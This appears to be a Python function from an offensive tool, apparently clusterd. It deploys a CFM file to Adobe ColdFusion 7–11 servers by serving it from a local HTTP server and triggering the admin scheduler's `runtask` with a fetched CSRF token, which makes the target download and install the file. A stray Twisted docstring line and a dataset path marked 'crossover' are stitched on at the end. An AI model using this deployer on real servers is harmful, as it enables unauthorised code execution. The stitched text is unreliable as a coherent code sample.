def run_task(ip, fingerprint, cfm_path):

    success = True
    cfm_name = parse_war_path(cfm_path, True)
        
    # kick up the HTTP server
    server_thread = Thread(target=_serve, args=(cfm_path,))
    server_thread.start()
    sleep(2)

    url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduletasks.cfm"\
                                                  .format(ip, fingerprint.port)

    (cookie, csrf) = fetch_csrf(ip, fingerprint, url)
    
    if fingerprint.version in ["7.0", "8.0"]:
        uri = "?runtask={0}&timeout=0".format(cfm_name)
    elif fingerprint.version in ["9.0"]:
        uri = "?runtask={0}&timeout=0&csrftoken={1}".format(cfm_name, csrf)
    elif fingerprint.version in ["10.0", '11.0']:
        uri = "?runtask={0}&group=default&mode=server&csrftoken={1}".format(cfm_name, csrf)

    response = utility.requests_get(url + uri, cookies=cookie)
    if waitServe(server_thread):
        utility.Msg("{0} deployed to /CFIDE/{0}".format(cfm_name), LOG.SUCCESS)
    else:
        success = False

    killServe()
    return success
L{CooperativeTask.whenDone} returns a Deferred which fires when the
dataset/ETHPy150Open hatRiot/clusterd/src/platform/coldfusion/deployers/schedule_job.py/run_task--crossover with--dataset/ETHPy150Open twisted/twisted/twisted/test/test_cooperator.py/RunStateTests.test_whenDone